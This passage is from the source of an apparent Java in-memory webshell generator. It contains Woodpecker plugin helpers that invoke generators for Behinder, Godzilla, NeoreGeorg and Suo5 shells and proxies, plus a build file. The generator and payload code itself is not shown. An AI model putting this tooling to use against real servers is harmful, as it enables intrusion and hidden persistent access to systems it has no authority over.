31 | resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
32 | }
33 | }
34 | }
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.helper;
2 |
3 | import jmg.behinder.generator.BehinderGenerator;
4 | import jmg.core.config.AbstractConfig;
5 | import jmg.core.config.Constants;
6 | import jmg.core.generator.InjectorGenerator;
7 | import me.gv7.woodpecker.plugin.IResultOutput;
8 | import me.gv7.woodpecker.plugin.ShellHelperPlugin;
9 | import me.gv7.woodpecker.util.WoodpeckerResultUtil;
10 |
11 | import java.util.Map;
12 |
13 | public class BehinderHelper extends ShellHelper {
14 |
15 |
16 | @Override
17 | public String getHelperTabCaption() {
18 | return Constants.TOOL_BEHINDER;
19 | }
20 |
21 | @Override
22 | public void doHelp(Map customArgs, IResultOutput resultOutput) {
23 | try {
24 | AbstractConfig config = initConfig(customArgs);
25 | new BehinderGenerator().makeShell(config);
26 | new InjectorGenerator().makeInjector(config);
27 | WoodpeckerResultUtil.printBehinderBasicInfo(resultOutput, config);
28 | WoodpeckerResultUtil.printResult(resultOutput, config);
29 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config);
30 | } catch (Exception e) {
31 | resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
32 | }
33 | }
34 | }
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.helper;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import jmg.core.config.Constants;
5 | import jmg.core.generator.InjectorGenerator;
6 | import jmg.godzilla.generator.GodzillaGenerator;
7 | import me.gv7.woodpecker.plugin.IResultOutput;
8 | import me.gv7.woodpecker.plugin.ShellHelperPlugin;
9 | import me.gv7.woodpecker.util.WoodpeckerResultUtil;
10 |
11 | import java.util.Map;
12 |
13 | public class GodzillaHelper extends ShellHelper {
14 |
15 | @Override
16 | public String getHelperTabCaption() {
17 | return Constants.TOOL_GODZILLA;
18 | }
19 |
20 | @Override
21 | public void doHelp(Map customArgs, IResultOutput resultOutput) {
22 | try {
23 | AbstractConfig config = initConfig(customArgs);
24 | new GodzillaGenerator().makeShell(config);
25 | new InjectorGenerator().makeInjector(config);
26 | WoodpeckerResultUtil.printGodzillaBasicInfo(resultOutput, config);
27 | WoodpeckerResultUtil.printResult(resultOutput, config);
28 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config);
29 | } catch (Exception e) {
30 | resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
31 | }
32 | }
33 | }
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.helper;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 | import jmg.core.config.Constants;
6 | import jmg.core.generator.InjectorGenerator;
7 | import jmg.neoregeorg.generator.NeoreGeorgGenerator;
8 | import me.gv7.woodpecker.plugin.IResultOutput;
9 | import me.gv7.woodpecker.plugin.ProxyHelperPlugin;
10 | import me.gv7.woodpecker.util.WoodpeckerResultUtil;
11 |
12 | import java.util.Map;
13 |
14 | public class NeoreGeorgHelper extends ProxyHelper {
15 |
16 | @Override
17 | public String getHelperTabCaption() {
18 | return Constants.TOOL_NEOREGEORG;
19 | }
20 |
21 | @Override
22 | public void doHelp(Map customArgs, IResultOutput resultOutput) {
23 | try {
24 | AbstractConfig config = initConfig(customArgs, new AbstractConfig());
25 | config.setKey("neorgkey");
26 | new NeoreGeorgGenerator().makeShell(config);
27 | new InjectorGenerator().makeInjector(config);
28 | WoodpeckerResultUtil.printNeoreGeorgBasicInfo(resultOutput, config);
29 | WoodpeckerResultUtil.printResult(resultOutput, config);
30 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config);
31 | } catch (Exception e) {
32 | resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e));
33 | }
34 | }
35 |
36 | }
37 |
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.helper;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 | import jmg.core.config.Constants;
6 | import jmg.core.generator.InjectorGenerator;
7 | import jmg.suo5.generator.Suo5Generator;
8 | import me.gv7.woodpecker.plugin.IResultOutput;
9 | import me.gv7.woodpecker.plugin.ProxyHelperPlugin;
10 | import me.gv7.woodpecker.util.WoodpeckerResultUtil;
11 |
12 | import java.util.Map;
13 |
14 | public class Suo5Helper extends ProxyHelper {
15 |
16 | @Override
17 | public String getHelperTabCaption() {
18 | return Constants.TOOL_SUO5;
19 | }
20 |
21 | @Override
22 | public void doHelp(Map customArgs, IResultOutput resultOutput) {
23 | try {
24 | AbstractConfig config = initConfig(customArgs, new AbstractConfig());
25 | new Suo5Generator().makeShell(config);
26 | new InjectorGenerator().makeInjector(config);
27 | WoodpeckerResultUtil.printSuo5BasicInfo(resultOutput, config);
28 | WoodpeckerResultUtil.printResult(resultOutput, config);
29 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config);
30 | } catch (Exception e) {
31 | resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e));
32 | }
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.plugin;
2 |
3 |
4 | import jmg.core.config.Constants;
5 | import me.gv7.woodpecker.helper.NeoreGeorgHelper;
6 | import me.gv7.woodpecker.helper.Suo5Helper;
7 |
8 | import java.util.ArrayList;
9 | import java.util.List;
10 |
11 | public class ProxyHelperPlugin implements IHelperPlugin {
12 | public static IHelperPluginCallbacks callbacks;
13 | public static IPluginHelper pluginHelper;
14 |
15 | @Override
16 | public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) {
17 | callbacks = helperPluginCallbacks;
18 | pluginHelper = callbacks.getPluginHelper();
19 | callbacks.setHelperPluginName("JMG Proxy Helper");
20 | callbacks.setHelperPluginVersion(Constants.JMG_VERSION);
21 | callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR);
22 | callbacks.setHelperPluginDescription("Java 内存马生成器 - 代理");
23 | List helperList = new ArrayList();
24 | helperList.add(new Suo5Helper());
25 | helperList.add(new NeoreGeorgHelper());
26 |
27 | callbacks.registerHelper(helperList);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.plugin;
2 |
3 | import jmg.core.config.Constants;
4 | import me.gv7.woodpecker.helper.*;
5 |
6 | import java.util.ArrayList;
7 | import java.util.List;
8 |
9 | public class ShellHelperPlugin implements IHelperPlugin {
10 | public static IHelperPluginCallbacks callbacks;
11 | public static IPluginHelper pluginHelper;
12 |
13 | @Override
14 | public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) {
15 | callbacks = helperPluginCallbacks;
16 | pluginHelper = callbacks.getPluginHelper();
17 | callbacks.setHelperPluginName("JMG Shell Helper");
18 | callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR);
19 | callbacks.setHelperPluginVersion(Constants.JMG_VERSION);
20 | callbacks.setHelperPluginDescription("Java 内存马生成器");
21 | List helperList = new ArrayList<>();
22 | helperList.add(new AntSwordHelper());
23 | helperList.add(new BehinderHelper());
24 | helperList.add(new GodzillaHelper());
25 | helperList.add(new CustomHelper());
26 | callbacks.registerHelper(helperList);
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.plugin;
2 |
3 | public class WoodpeckerPluginManager implements IPluginManager {
4 | public WoodpeckerPluginManager() {
5 | }
6 |
7 | @Override
8 | public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) {
9 | pluginManagerCallbacks.registerHelperPlugin(new ShellHelperPlugin());
10 | pluginManagerCallbacks.registerHelperPlugin(new ProxyHelperPlugin());
11 | pluginManagerCallbacks.registerHelperPlugin(new ExtenderHelperPlugin());
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | pom
8 | 1.0.9
9 |
10 | jmg-antsword
11 | jmg-behinder
12 | jmg-core
13 | jmg-custom
14 | jmg-godzilla
15 | jmg-gui
16 | jmg-neoregeorg
17 | jmg-suo5
18 | jmg-extender
19 | jmg-woodpecker
20 | jmg-sdk
21 | jmg-cli
22 | jmg-all
23 |
24 |
25 |
26 | UTF-8
27 | 8
28 | 8
29 |
30 |
31 |
32 |
33 | me.gv7.woodpecker
34 | woodpecker-bcel
35 | 0.1.0
36 |
37 |
38 | me.gv7.woodpecker
39 | woodpecker-tools
40 | 0.1.1
41 |
42 |
43 | me.gv7.woodpecker
44 | woodpecker-sdk
45 | 0.3.0
46 |
47 |
48 | javax.servlet
49 | javax.servlet-api
50 | 4.0.1
51 |
52 |
53 | org.javassist
54 | javassist
55 | 3.20.0-GA
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 | org.apache.maven.plugins
64 | maven-assembly-plugin
65 | 3.6.0
66 |
67 |
68 | jar-with-dependencies
69 |
70 |
71 |
72 |
73 | make-assembly
74 | package
75 |
76 | single
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
--------------------------------------------------------------------------------